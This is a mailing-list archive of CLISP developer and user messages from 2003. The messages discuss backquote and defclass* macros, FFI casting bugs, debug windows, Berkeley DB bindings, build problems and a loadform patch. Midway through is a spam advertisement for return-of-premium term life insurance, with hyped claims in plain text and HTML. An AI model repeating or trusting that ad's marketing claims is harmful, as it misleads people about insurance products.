> I also received feedback by some people who considered CLISP much
> easier on the beginner than e.g. CMUCL. I fail to understand this,
> but maybe this is something to concentrate upon: first impressions
> count a lot. Many SW-packages get tossed away within half an hour of
> toying with them.  Maybe CMUCL beginners get turned away by the
> warnings about special declarations they dont' understand when they
> use (setq x 123) at top-level, which beginners tend to do a lot? --
> but this is just a supposition of mine.

CMUCL user interface is bare-bone (no readline!).

CMUCL can't be  compiled without CMUCL.  And even  with CMUCL binaries
installed, I've  got big difficuties to  compile it. The  fact that it
cannot be  compiled without itself poses  a big security  risk (it may
contain a backdoor  in the binaries which replicate  it into the newly
compiled versions).  That means that  once I'll have compiled it, I'll
need to disassemble and analyze the binary.  At least, they could have
requested just ANY Common-Lisp interpreter to run the CMUCL compiler.

=20
> Your suggestions/ideas are welcome,
> 	J=F6rg H=F6hle.

Well the only bad point I find in CLISP, is its .d sources.

I  liked Squeak  (a  Smalltalk implementation)  which  is a  byte-code
virtual  machine  like  CLISP,   but  which  is  entirely  written  in
Smalltalk. It contains a generator to  C for a small core of SmallTalk
which is used to compile the rest of the system.  So everything can be
changed from  the Smalltalk image  in Smalltalk, without  messing with
push/pop and other low-level C stuff...


Note, while for my own programs CLISP and its byte-compile is perfect,
I'll need a native compiler to  deploy a tool for a customer.  Perhaps
it's one thing  that could be ported to CLISP:  a native compiler like
the one of CMUCL. Not necessarily integrated into CLISP, personnaly, I
don't  mind  the byte-code  in  CLISP (I'd  rather  prefer  it in  the
interactive environment, and for  it's platform independance I think),
but being able to generate  a binary program could be handy sometimes,
either for performance or for psychological reasons.


Another thing  that seems inferior in  CLISP with respect  to CMUCL is
the handling of the unix signals. =20


The  FFI is  important  but we  need a  common  FFI API  over all  the
Common-Lisp implementations  to be able to  develop portable interface
packages to external libraries.


--=20
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Hi,

I found the following thread from 1999 quite intriguing:

Christopher R. Barry in cll on: quasiquote reference implementation
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=87vh8hk0dj.fsf%402xtreme.net&rnum=8
(defmacro defclass* (name supers slots &rest options)
  `(macrolet ((do-it ()
       `(defclass ,,name ,,supers ,,slots ,,@options)))
     (do-it)))
Now you can do something like:
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    collect (defclass* (intern (format nil "FOO-~D" i)) () ()))
  (#<STANDARD-CLASS FOO-1> #<STANDARD-CLASS FOO-2> #<STANDARD-CLASS FOO-3>)

In CLISP-2.30, this gives
*** - EVAL: variable I has no value

For reasons I don't yet understand (I'm not even sure one can expect the do-it trick to work in all kinds of macroexpansion).
A simple case works:
> (defclass* (intern "FOO-1") () ())
#<STANDARD-CLASS FOO-1>

BTW, the above thread is the one (from 1999) were I suggested a programmable interface to backquote: what you implemented now for CLISP!

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* Doug Philips <dgou@mac.com>:

>> ~ perhaps UNICODE, but Allegro seems to have the reputation of The
>> Lisp with excellent unicode support
> Unicode would be a big win. Its hard to imagine taking an
> application international without it.

AFAIK, CLISP has excellent Unicode-support.  (And has had so for a
while, I think.)

-- 
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Hi,

please have a short look at impnotes:
Extensions-2.12. Other
To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console windows =
(thus keeping your standard console window clean from error messages) =
you can use:
       (SETQ *ERROR-OUTPUT*
         (SETQ *DEBUG-IO*
           (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE"
                   :DIRECTION :IO)))

I don't know if people on UNIX/PC realize the power and usefulness of =
this.
I wish I could use this idiom on UNIX or MS-Windows too, not just the =
Amiga.

On the Amiga, CON:////window-title/options provides for a full-featured =
tty-window with line-editing and scrollbars etc. The above means sort =
of *debug-io* goes to a separate xterm window. The given options mean =
that this window only appears when needed (e.g. when an error occurs).

Consider CLISP within a shell pipe
# cat foo bar | clisp --with-interactive-debug -i file -x ... | =
xyz-processing

Using the above with a pipe means that Lisp's *standard-input* and =
-output* are left completely undisturbed!
All your *debug-io* interactive session happens in a different window. =
There you can either abort CLISP and thus the pipe, or maybe manage to =
debug online and have the pipe continue successfully.

Bruno Haible once told me about a UNIX terminal/xterm hack where output =
to stderr would appear in red color.

I often send *trace-output* to a separate window.

You get the idea.

Does anybody know how to achieve something equivalent for either =
MS-Windows or some flavour of UNIX?

Regards,
	J=F6rg H=F6hle.


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Moin Joerg-Cyril Hoehle,

> To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console windows (thus keeping your standard console window clean from error messages) you can use:
>        (SETQ *ERROR-OUTPUT*
>          (SETQ *DEBUG-IO*
>            (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE"
>                    :DIRECTION :IO)))

> I don't know if people on UNIX/PC realize the power and usefulness of this.
> I wish I could use this idiom on UNIX or MS-Windows too, not just the Amiga.

  The simplest way would be to open "/dev/tty" - this pseudo device is
  always pointing to the controling tty of a process.

  Unix/Linux/BSD supports pty/ttyp pairs to implement virtual lines
  for xterms and other toys. The idea behind that is, that one process
  can read/write into one side of the pair, and the other process would
  have the other side. This is used for xterm, at example.

  So clisp would just need to open a pty, and start minicom or cu
  on the other end of the ttyp pair.

Bye Michael
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Date: Fri Apr 11 11:45:06 2003
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Recently I switched from gcc 2.95.3 to gcc 3.2.2. After recompiling
CLISP, I discovered that, in some circumstances, FFI:CAST causes a
segmentation fault.

Test case:

define the following foreign function:

(def-call-out make-foreign-string
  (:name "make_foreign_string")
  (:arguments (s c-string :in))
  (:return-type c-pointer :malloc-free))

void *
make_foreign_string (const char *s)
{
  int len = strlen(s);
  char *r = malloc (len);
  memcpy (r, s, len);
  return r;
}

try to convert its result to a '(c-ptr (c-array character ...)):

[2]> (use-package :ffi)
T
[3]> (setf *x* (make-foreign-string "abcd"))
#<FOREIGN-ADDRESS #x081B6680>
[4]> (with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array uint8 4))))
#(97 98 99 100)

OK, with bytes it works.

[5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4))))
Segmentation fault

Any idea?


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Date: Fri Apr 11 11:45:07 2003
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Hoehle, Joerg-Cyril writes:

 > >I also wrote a thin C wrapper around DB functions, since it is
 > Do you believe you would have written a CLISP module if you
 > had known about my article earlier?

well, I have written a module!

 > One of my points is that writing FFI+C code is half the way of a
 > writing module, *and* writing modules prevents you from the
 > CAST/TYPECASE madness.

why? OK, if it is explained in your article I'll try to find it.

 > OTOH, you need to be more confident with CLISP's C-level functions,
 > e.g. allocate_string() etc.

which are not documented :(

 > >impossible to use DB structure and its function pointers from Lisp:
 > I guess one of your points is that the functions to be called are
 > like db->get(), i.e. there's nothing with a fixed name like
 > "BDB_get()". This looks like instance methods -- not impossible,
 > but possibly impractical.  I never thought about these, but they
 > are conceptually close to shared-library functions: they hang of
 > the library, here the DB pointer.
 > 
 > Is there anything else which makes you feel that it's impossible?

no. Initially my idea was to define a Lis DB type using def-c-struct
and faithfully translate all the C struct members into Lisp slots. A
nightmare: DB has tens of members! Furthermore, it is probably better
to keep DB and other BDB C structures opaque to Lisp. There is no need
to make implementation details, such as structure members, available
at Lisp level.

 > Why don't you use something along
 >  (typecase
 >   ((unsigned-int 32)
 >    (values 'int/uint32 (FFI:sizeof 'int-or-uint32))
 >   ((signed-int 32) (values 'sint32 (sizeof 'sint32))
 >   ... Constant-folding by hand?
 > Fixnum can be pretty small (i.e. only 24 bits).

yes, I know. I'm going to add more integer subtypes later.



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Hoehle, Joerg-Cyril writes:

 > However, duplicating the DB structure in Lisp, if the BDB C
 > structure changes, Lisp doesn't know -- not nice!  Unreliable :(

this problem could be solved by a program that translates C
declarations into FFI declarations. Such a program is available for
some Common Lisp implementations, e.g LispWorks.

 > [memoizing-]DB-foreign-function-factory could be implemented in C,
 > to avoid the problem about the C DB struct being changed by the BDB
 > people, without Lisp noticing this change. This would prevent
 > getting out of sync with BDB/ db.h

returned function prototype could be a problem: every DB fuction has
its own parameter list. Probably the C factory function should return
a c-pointer which has to be casted to the appropriate FFI:C-FUNCTION
type before APPLYing it.

Another solution could be a C program which, using the offsetof macro,
prints the offset of the relevant DB function pointer members. Its
output could be used to create defconstants in a Lisp file. At
runtime, using FFI:OFFSET and the offset constants, it should be
possible to extract a foreign function pointer from a DB
pointer. Details are left to the reader as exercise :)



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On Fri, 11 Apr 2003, Hoehle, Joerg-Cyril wrote:

> Date: Fri, 11 Apr 2003 13:22:31 +0200
> From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
> To: clisp-list@lists.sourceforge.net
> Cc: kaz@ashi.footprints.net
> Subject: New, from-scratch implementation of backquote.
> 
> Hi,
> 
> I found the following thread from 1999 quite intriguing:
> 
> Christopher R. Barry in cll on: quasiquote reference implementation
> http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=87vh8hk0dj.fsf%402xtreme.net&rnum=8
> (defmacro defclass* (name supers slots &rest options)
>   `(macrolet ((do-it ()
>        `(defclass ,,name ,,supers ,,slots ,,@options)))
>      (do-it)))

Interesting; basically this uses macrolet solely to obtain an extra
level of macroexpansion, so that the name, supers, slots and options
are all evaluated.

However, because defclass is a macro, this relies on evaluating the
forms at macroexpand time, so that their evaluated values can be stuck
into the defclass form itself.

So the expressions can only refer to functions and variables that
are available at that time.

> Now you can do something like:
>   USER(15): (loop for i from 1 to 3
>     collect (defclass* (intern (format nil "FOO-~D" i)) () ()))
>   (#<STANDARD-CLASS FOO-1> #<STANDARD-CLASS FOO-2> #<STANDARD-CLASS FOO-3>)
> In CLISP-2.30, this gives
> *** - EVAL: variable I has no value

This is right because the lexcal variable i does not exist at the
macrolet expansion time.  You see the (defclass* ...) construct can be
(and is) expanded before the (loop ...) is executed.

A macrolet construct cannot give you a different macroexpansion each
time you evaluate it; it's just a scoping mechanism for local macros,
not a dynamic macro mechanism. Local macros give you a way to hook into
the system's code walker, but that walk happens just once.

> For reasons I don't yet understand (I'm not even sure one can expect the do-it trick to work in all kinds of macroexpansion).
> A simple case works:
> > (defclass* (intern "FOO-1") () ())
> #<STANDARD-CLASS FOO-1>

Yeah, but this is at the top level and as such doesn't rely on any
lexical variables. 

> BTW, the above thread is the one (from 1999) were I suggested a programmable interface to backquote: what you implemented now for CLISP!

I don't think that will help, because it's not a backquote problem.

To solve this problem you need the help of EVAL. Your loop must
actually construct the *source code* of a DEFCLASS construct into which
it has inserted all the right pieces, and then EVAL that source code
so that its effect takes place.

Example:

 (loop for i from 1 to 3
       collect `(defclass ,(intern (format nil "FOO-~D" i)) () ())
         into defclasses
       finally (eval `(progn ,@defclasses)))

We dynamically a list, a piece of data, which looks like:

  ((defclass FOO-1 ...)
   (defclass FOO-2 ...)
   (defclass FOO-3 ...))

Then we stick a PROGN in front and EVAL it as code, causing the classes
to be defined. The loop can be written so that it generates a
completely different list each time, using a different range of
integers and different base name for the symbol. Each time you call it,
it will generate some data and then evaluate it as code.  Macros cannot
do that; they are expanded at compile time to produce their
substitution and then go away. 
   
I will try the original trick with the new backquote, but I'm almost
certain that it won't work.

I should mention that the support for ,,@ actually does work in the old
backquote. The implementation notes are misleading.



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Kaz Kylheku <kaz@ashi.footprints.net> writes:

> On Fri, 11 Apr 2003, Hoehle, Joerg-Cyril wrote:
> 
> > Date: Fri, 11 Apr 2003 13:22:31 +0200
> > From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
> > To: clisp-list@lists.sourceforge.net
> > Cc: kaz@ashi.footprints.net
> > Subject: New, from-scratch implementation of backquote.
> > 
> > Hi,
> > 
> > I found the following thread from 1999 quite intriguing:
> > 
> > Christopher R. Barry in cll on: quasiquote reference implementation
> > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=87vh8hk0dj.fsf%402xtreme.net&rnum=8
> > (defmacro defclass* (name supers slots &rest options)
> >   `(macrolet ((do-it ()
> >        `(defclass ,,name ,,supers ,,slots ,,@options)))
> >      (do-it)))
> 
> Interesting; basically this uses macrolet solely to obtain an extra
> level of macroexpansion, so that the name, supers, slots and options
> are all evaluated.

Which maybe means that you probably don't want a macro, but a function
instead...

> [... lucid comments elided ...]
> 
> To solve this problem you need the help of EVAL. Your loop must
> actually construct the *source code* of a DEFCLASS construct into which
> it has inserted all the right pieces, and then EVAL that source code
> so that its effect takes place.

Defining defclass* as a function avoids the need for eval:

(defun defclass* (name supers slots &rest options)
  (funcall (lambda () `(defclass ,name ,supers ,slots ,@options))))

(loop for i from 1 to 3
   collect (defclass* ( (intern (format nil "FOO-~D" i)) () ())


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Date: Fri Apr 11 13:23:12 2003
X-Original-Date: 11 Apr 2003 16:21:41 -0400

Perhaps it's obvious, but the last message was unfinished; I never
noticed how close C-c C-c is to C-x C-x before :\

Anyway, the code I sent doesn't do what I thought it did, so just ignore
me for now... :)


Todd


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Date: Fri Apr 11 13:36:06 2003
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On 11 Apr 2003, Todd Sabin wrote:

> Perhaps it's obvious, but the last message was unfinished; I never
> noticed how close C-c C-c is to C-x C-x before :\
> 
> Anyway, the code I sent doesn't do what I thought it did, so just ignore
> me for now... :)

Yep. It returns the list (defclass ...) which still needs to be EVAL-ed. 

You can't fix this, because you can't get around the fact that defclass
is a compile-time construct.

To define a new class at run-time, you need to construct a new instance
of the defclass syntax, and to activate it, you must either EVAL it,
or put it in a lambda body and COMPILE it, and then funcall the
resulting object.

The other alternative would be to use the underlying ENSURE-CLASS
function, but that is not portable, (except where the MOP is
implemented)?

So we can repair your function by moving the backquote out to the whole
lambda, and then by using the COMPILE function---which is probably kind
of a waste of cycles just to run defclass once. ;)

;; original recipe
(defun defclass* (name supers slots &rest options)
  (funcall (lambda () 
             `(defclass ,name ,supers ,slots ,@options))))

;; extra crispy
(defun defclass* (name supers slots &rest options)
  (funcall (compile nil 
                    `(lambda () 
                       (defclass ,name ,supers ,slots ,@options)))))

;; calorie reduced
(defun defclass* (name supers slots &rest options)
  (eval `(defclass ,name ,supers ,slots ,@options)))



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Date: Fri Apr 11 13:57:07 2003
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Kaz Kylheku <kaz@ashi.footprints.net> writes:

> On 11 Apr 2003, Todd Sabin wrote:
> 
> > Perhaps it's obvious, but the last message was unfinished; I never
> > noticed how close C-c C-c is to C-x C-x before :\
> > 
> > Anyway, the code I sent doesn't do what I thought it did, so just ignore
> > me for now... :)
> 
> Yep. It returns the list (defclass ...) which still needs to be EVAL-ed. 
> 
> You can't fix this, because you can't get around the fact that defclass
> is a compile-time construct.
> 
> To define a new class at run-time, you need to construct a new instance
> of the defclass syntax, and to activate it, you must either EVAL it,
> or put it in a lambda body and COMPILE it, and then funcall the
> resulting object.

Right, I was just about to send corrected code identical to the extra
crispy below...

> The other alternative would be to use the underlying ENSURE-CLASS
> function, but that is not portable, (except where the MOP is
> implemented)?
> 
> So we can repair your function by moving the backquote out to the whole
> lambda, and then by using the COMPILE function---which is probably kind
> of a waste of cycles just to run defclass once. ;)

That's interesting.  I guess I've been prejudiced against eval so much
by all the "you almost never really need eval" stuff around that I
always avoid it if there's an alternative.  But this does seem to be a
perfectly good use for it.  Thanks.

> ;; original recipe
> (defun defclass* (name supers slots &rest options)
>   (funcall (lambda () 
>              `(defclass ,name ,supers ,slots ,@options))))
> 
> ;; extra crispy
> (defun defclass* (name supers slots &rest options)
>   (funcall (compile nil 
>                     `(lambda () 
>                        (defclass ,name ,supers ,slots ,@options)))))
> 
> ;; calorie reduced
> (defun defclass* (name supers slots &rest options)
>   (eval `(defclass ,name ,supers ,slots ,@options)))

I'd still like to see a real-world application of the original
macrolet examples, if anyone knows one.  When I first read that stuff
I had the feeling of a light bulb going on somewhere, but I haven't
figured out where it is or what it's illuminating, yet...


Todd


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I am trying to write a script to install clisp on
sorcerer here is the build script : 

(
  ./configure --prefix=/usr                           
                                                      
                                                      
                           &&
  unset CHOST                                         
                                                      
                                                      
                           &&
  unset CFLAGS                                        
                                                      
                                                      
                           &&
  unset CXXFLAGS                                      
                                                      
                                                      
                           &&
  cd $SCRIPT_DIR/src                                  
                                                      
                                                      
                           &&
  ./makemake --with-dynamic-ffi --with-dynamic-modules
--with-export-syscalls --with-module=wildcard
--with-module=regexp --with-module=bindings/linuxlibc6
> Makefile                          &&
  make config.lisp
  prepare_install                                     
                                                      
                                                      
                           &&
  make

) > $C_FIFO 2>&1

I am using gcc-3.2.2 and glibc 2.3.2 with a kernel of
2.4.20. 

It still fails. Attached with this email is the error.
Any help is appreciated. Thank you in advance. 

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      PROTECT YOUR LOVED ONES
      =85AND BENEFIT YOURSELF!
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             ANNOUNCING: THE ULTIMATE ESTATE BENEFIT
                     THE FIRST TERM INSURANCE PLAN  THAT PAYS YOU         =
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                        TOO GOOD TO BE TRUE?  IT ISN=92T...
                     WHEN IT COMES TO THE IMPORTANT THINGS IN LIFE...
Ask Yourself: Do I have loved ones, a Home, perhaps a Business or Estate, =
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do more? Do I Really Want To Do More?  Can I Actually Benefit Myself =
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FINALLY, TERM LIFE INSURANCE THAT WON=92T TREAT YOU LIKE AUTO INSURANCE =
=96 YOU KNOW, PAYING FOR COVERAGE, ONLY TO GET NOTHING                    =
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Superior, High-Quality Term Life Insurance protection that RETURNS
PREMIUMS you pay into the policy to you. That=92s right, PREMIUMS YOU PAY =
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     Too good to be true?  It=92s a reality.  An honest-to-goodness way =
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         AT A COST YOU CAN AFFORD.

Sound interesting? Great.  It should .  Our Return of Premium product, =
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     ROPTerm is issued by The Old Line Life Insurance Company of America; =
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priority on superior customer service.

Old Line Life Insurance Company is a member of the American General Group =
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     As insurance brokers, we can write policies for several hundred =
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     Just think: now you can get the superior quality life insurance =
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blue; FONT-FAMILY: 'Arial Rounded MT =
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</SPAN></B><B><SPAN       style=3D"FONT-SIZE: 18pt; COLOR: blue; =
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LIFE...</SPAN></B></P>
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center"       align=3Dcenter><B><SPAN style=3D"FONT-FAMILY: Arial">Ask =
Yourself: Do I have       loved ones, a Home, perhaps a Business or =
Estate, I want to protect?&nbsp;       Have I done ALL I CAN to protect =
my loved ones? Can I do more? Do I Really       Want To Do More?&nbsp; =
Can I Actually <U>Benefit Myself Financially AND       protect the =
important things in my life</U>?<BR></SPAN></B><B><SPAN       =
style=3D"FONT-SIZE: 16pt; FONT-FAMILY: Garamond">FINALLY, TERM LIFE       =
INSURANCE THAT WON=92T TREAT YOU LIKE AUTO INSURANCE =96 YOU KNOW, PAYING =
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High-Quality Term Life Insurance protection       that<B> RETURNS =
<BR>PREMIUMS</B> you pay into the policy to you. That=92s       right, =
<B>PREMIUMS YOU PAY INTO OUR <U>TERM </U>PROTECTION ARE RETURNED       =
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      <CENTER><B><I><SPAN       style=3D"FONT-SIZE: 14pt; COLOR: blue; =
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AFFORD.<BR></CENTER><BR></SPAN></I></B><B><SPAN       =
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Arial">America</SPAN><SPAN       style=3D"FONT-FAMILY: Arial">; for =
decades, an A+ rated insurer offering the       very highest standards of =
quality and service.&nbsp; Since 1922, Old Line       Life has offered =
the very highest, superior quality, coverage to       policyholders, =
placing the highest priority on superior customer       =
service.<BR><BR>Old Line Life Insurance Company is a member of the       =
American General Group of Companies, the <U>largest life,</U> =
<U>business,       and commercial insurance company in the       =
world.<BR><BR></U>&nbsp;&nbsp;&nbsp;&nbsp; As insurance brokers, we can   =
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insurance       in </SPAN><SPAN style=3D"FONT-FAMILY: =
Arial">California</SPAN><SPAN       style=3D"FONT-FAMILY: Arial">; We =
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</I>for its superior       quality, low-cost, competitive rates, and the =
superior Return of Premium       benefit.<BR>&nbsp;&nbsp;&nbsp;&nbsp; =
Just think: now you can get the
      superior quality life insurance protection you want and need, and =
get your       base premiums returned to you at the end of the term =
period.&nbsp;&nbsp;       <B><U>What=92s more, you can cancel the =
protection</U></B> <B><U>before the       level premium period ends and =
you=92ll still have premium dollars returned       to =
you!!!</U></B></SPAN>
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Aurelio Bignoli wrote:

>this problem could be solved by a program that translates C
>declarations into FFI declarations. Such a program is available for
>some Common Lisp implementations, e.g LispWorks.

I still don't like this approach.
It introduces a dependency between .fas and .h files.
I believe there are several unwritten coding/design rules about CLISP which I  have integrated during the 10 years I've lived with CLISP.
One was portability of user's .fas files. That's why e.g. with-keyboard is a macro that encloses its body in a closure and calls an internal function. I don't know whether other developers [still/ever] share this goal.
Having C constant offsets live in a .fas file destroys this portability.
Probably more than 80% of the users don't care about this portability, since they work on a single system.

I still believe modules is a way to go to interface to foreign stuff. That implies C code, be it automatically generated or not. This C code should then contain the offsets and other architecture/platform dependent forms. Let the .fas file and Lisp code remain free of that.

This rule (design goal) also serves as a design guideline itself, since it answers what sort of code should go into either C or Lisp.

Another reason I don't like embedding C offsets in Lisp is that this approach IMHO only suits well to a native code compiler like CMUCL or CormanLisp. There, the offsets can be absent at the run-time. In CLISP, they could not. Also, tree shaking of unneeded C structures works with native code. In CLISP it would not (unless somebody implemented it *and* took care that it's easy to use). And one of my goals, which profoundly influenced the design of my AFFI, was to *not* reflect the myriads of C includes and structures of the Amiga in Lisp. MS-Windows even has more of these.


>Another solution could be a C program which, using the offsetof macro,
>prints the offset of the relevant DB function pointer members. Its

A program close to this already exists: utils/modprep
I bet very few people know about it. It's not even mentioned in impnotes (well, it has nothing to do with the implementation proper).
It allows to write C code with helpers macros for accessing Lisp objects. I never used it myself...

Another approach which I had thought of is to extent FFI:C-LINES
(C-LINES :defun 'MEM-WRITE "LISPFUN(mem_write,3,1,norest,nokey,0,NIL)" "
{
  // C or .d code of this function;
}")
would generate 3 pieces of code to go into the subr_table and maintain the subr_count.
A similar extension to C:LINES would be needed for objects.

Maybe that would be most useful for your polymorphic db-get/put functions.


>returned function prototype could be a problem: every DB fuction has
>its own parameter list. Probably the C factory function should return
I don't understand this.
>a c-pointer which has to be casted to the appropriate FFI:C-FUNCTION
>type before APPLYing it.

I've been thinking about extending C-POINTER to allow (C-POINTER c-type) to return a foreign-variable object of the given c-type. In other words, it returns a typed reference to a foreign object.

It might be useful for BDB and other situations (e.g. errno). But it also has its own set of problems (I'll talk about them another time).

(def-c-struct DB ; Beware: I don't know what the db struct looks like!
  (get (c-function (:arguments (db c-pointer) (txn c-pointer)
                    (key c-pointer) (value c-pointer) (flags uint32))
		   (:return-type bool) (:language :stdc)))
  (put (c-function (:arguments (db c-pointer) (txn c-pointer)
                    (key c-pointer) (value c-pointer) (flags uint32))
		   (:return-type bool) (:language :stdc)))
  (close (c-function (:arguments (db c-pointer))
		     (:return-type nil) (:language :stdc))))
(def-call-out db-create
  (:arguments ...)
  (:return-type (c-pointer DB)))

(setq *db* (db-create ...))
(funcall (foreign-value (ffi::%slot *db* 'get)) ; TODO factory
   *db* *txn* *key* ...)

(def-call-out __errno_location (:arguments) (:return-type (c-pointer int)))
(define-symbol-macro errno (foreign-value (__errno_location)))
; also works with setf errno!

I cannot recommend this implementation of errno, since every call would generate a garbage FOREIGN-ADDRESS and -VARIABLE object.

(C-LINES :defun 'get_errno "LISPFUNN(get_errno,0)"
"{ values1=L_to_I((sintL)errno); mv_count=1; }")
would be just as easy to add to linux.lisp, and much more performant.

Regards,
	Jorg Hohle.


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Date: Wed Apr 16 05:30:01 2003
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Aurelio Bignoli wrote:

>void *make_foreign_string (const char *s)
This is superfluous. Consider:
(def-call-out make-foreign-string
  (:name "ffi_identity") ; ffi_identity has many many uses
  (:arguments (s c-string :in :malloc-free))
  (:return-type c-pointer) (:language :stdc))
(setf *x* (make-foreign-string "abcd"))
#<FOREIGN-ADDRESS #x00BF1B30>


You may now also consider
FFI[8]> (ffi:deep-malloc 'character "abcde" :count 4)
#<FOREIGN-VARIABLE FOREIGN-ALLOC* #x00CC0470>
[...]
1. Break FFI[10]> (foreign-value *)
"abcd"
1. Break FFI[10]> (describe **)
#<FOREIGN-VARIABLE FOREIGN-ALLOC* #x00CC0470> is a foreign variable of foreign type (C-ARRAY-MAX CHARACTER 4).

(defun make-foreign-string (s)
  (ffi:deep-malloc 'ffi:character s :count (length s) :read-only t)
But that is not null-terminated.
You may use (1+ (length s)), then it would be.
:read-only is an indication that the Lisp side will not modify it any more (using (setf foreign-value)).

Note that this only works on 1:1 string encodings (e.g. ASCII, ISO-8859-1 etc.).


		C-POINTER and (or rather exclusive or) :malloc-free

>(def-call-out make-foreign-string
>  (:name "make_foreign_string")
>  (:arguments (s c-string :in))
>  (:return-type c-pointer :malloc-free))
:MALLOC-FREE has no effect with C-POINTER. It it had effect, it would have free'd the memory, thus you'd receive a pointer to invalid memory. That's clearly not what you wish for :)

One way to understand when CLISP's FFI considers :malloc-free is to wonder when it needs to convert something to or from Lisp to the alien world.
With C-POINTER, no conversion occurs (it's just passing the pointer around that it was given), so no malloc() nor free() is ever performed.

This may seem odd, but it somehow makes sense. I'll let people investigate what would happen if it were the other way (hint: consider the implications of the :full keyword of the newly added FOREIGN-FREE).


		Stability of gcc
>[5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array 
>character 4))))
>Segmentation fault
If it only happens with gcc-2.3.2 and not 2.9.5, then I bet it's time to look at gcc's assembly output (want to generate feedback to gcc-bugs@...) or to dump this version os gcc (generate no feedback).

My experience with gcc for the Amiga(mc680x0) was that only some of the releases were able to fully compile CLISP...

If CAST looks suspicious, investigate the functional level of FFI that you now know, e.g. FFI::%CAST.

OTOH, a bug could lie anywhere, also in CLISP, e.g. with-c-var, ...

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> * In message <20030412101254.17835.qmail@web20701.mail.yahoo.com>
> * On the subject of "[clisp-list] problem installing clisp"
> * Sent on Sat, 12 Apr 2003 03:12:54 -0700 (PDT)
> * Honorable Low Kian Seong <clisp_low@yahoo.com> writes:
>
> I am trying to write a script to install clisp on
> sorcerer here is the build script : 
> 
>   ./configure --prefix=/usr &&
>   unset CHOST &&
>   unset CFLAGS &&
>   unset CXXFLAGS &&
>   cd $SCRIPT_DIR/src &&
>   ./makemake --with-dynamic-ffi --with-dynamic-modules
> --with-export-syscalls --with-module=wildcard
> --with-module=regexp --with-module=bindings/linuxlibc6
> > Makefile                          &&
>   make config.lisp
>   prepare_install &&
>   make
> ) > $C_FIFO 2>&1

please try
$ ./configure --prefix=/usr --with-module=wildcard --with-export-syscalls --with-module=regexp --with-module=bindings/linuxlibc6

what is "prepare_install"?

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> * In message <16023.1795.602153.905339@dalet.fauser.it>
> * On the subject of "[clisp-list] FFI:CAST segfault with gcc 3.2.2"
> * Sent on Fri, 11 Apr 2003 20:18:43 +0200
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> [5]>(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4))))
> Segmentation fault

I do not observe this with
gcc (GCC) 3.2.1 20021207 (Red Hat Linux 8.0 3.2.1-2)

could you please get 3.2.1 and check that this is indeed a regression in
gcc?

(def-call-out make-foreign-string (:arguments (s c-string :in :malloc-free))
  (:name "ffi_identity") (:language :stdc)
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(setf *x* (make-foreign-string "abcd"))

(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array uint8 4))))
==> #(97 98 99 100)

(with-c-var (p 'c-pointer *x*) (cast p '(c-ptr (c-array character 4))))
==> "abcd"

(CLISP CVS head)

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de>
> * On the subject of "RFE: debugging in separate window"
> * Sent on Fri, 11 Apr 2003 14:02:18 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console
> windows (thus keeping your standard console window clean from
> error messages) you can use: 
>        (SETQ *ERROR-OUTPUT*
>          (SETQ *DEBUG-IO*
>            (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE"
>                    :DIRECTION :IO)))


(defun make-query-io ()
  (let ((tty-name "foo") (guard "bar"))
    (with-open-file (s guard :direction :output :if-exists :overwrite
                       :if-does-not-exist :create))
    (shell (format nil "xterm -e 'tty > ~a; read < ~a' &" tty-name guard))
    (sleep 1)
    (setq tty-name
          (prog1 (with-open-file (s tty-name :direction :input)
                   (read-line s))
            (delete-file tty-name)))
    (make-two-way-stream
     (open tty-name :direction :input)
     (open tty-name :direction :output))))


this does not work because I do not know how to implement the `guard':
I want the guard to prevent the xterm from exiting.

there is no mktemp() in CL, right?


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> * In message <sqadeywnau.fsf@lambda.jcn.srcf.net>
> * On the subject of "[clisp-list] SBCL build, MAKE-LOAD-FORM, buglets"
> * Sent on Thu, 10 Apr 2003 13:26:49 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> At the toplevel, do
>   (defstruct foo a)
>   (defmethod make-load-form ((x foo) &optional env)
>     (make-load-form-saving-slots x :environment env))
> and put in a file, say foo.lisp:
>   (defvar *foo* '#S(FOO :A BAR))
> 
> Compile and load the file, and observe that *FOO* is correctly
> initialized to a FOO structure whose A slot contains the symbol BAR.
> So far, so good.  Now, again at the toplevel, continuing the session,
> do:
>   (makunbound '*foo*)
>   (defconstant bar 1)
> and recompile and reload foo.lisp.  Now I observe that *FOO* is bound
> to #S(FOO :A 1) and not to #S(FOO :A BAR), which I believe is
> incorrect behaviour.

please try the appended patch.

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--- loadform.lisp.~1.4.~	2001-08-20 16:52:13.000000000 -0400
+++ loadform.lisp	2003-04-16 18:57:18.000000000 -0400
@@ -31,34 +31,13 @@
   (:method ((object standard-object) &optional environment)
     (make-load-form-saving-slots object :environment environment)))
 
-(defun mlf-unquote (var form)
-  ;; replace '(... var ...) with `(... ,var ...)
-  ;; (setq v 10)
-  ;; (mlf-unquote 'v ''(1 (2 (b c) v d (a)))) ==>
-  ;; (LIST 1 (LIST 2 '(B C) V 'D '(A)))
-  (cond ((atom form) form)
-        ((eq (car form) 'quote)
-         (labels ((find-var (tree)
-                    (if (atom tree) (eq var tree)
-                        (or (find-var (car tree)) (find-var (cdr tree)))))
-                  (unquote (form)
-                    (if (consp form)
-                        (if (find-var form)
-                            (cons 'list (mapcar #'unquote form))
-                            (list 'quote form))
-                        (if (eq form var) form
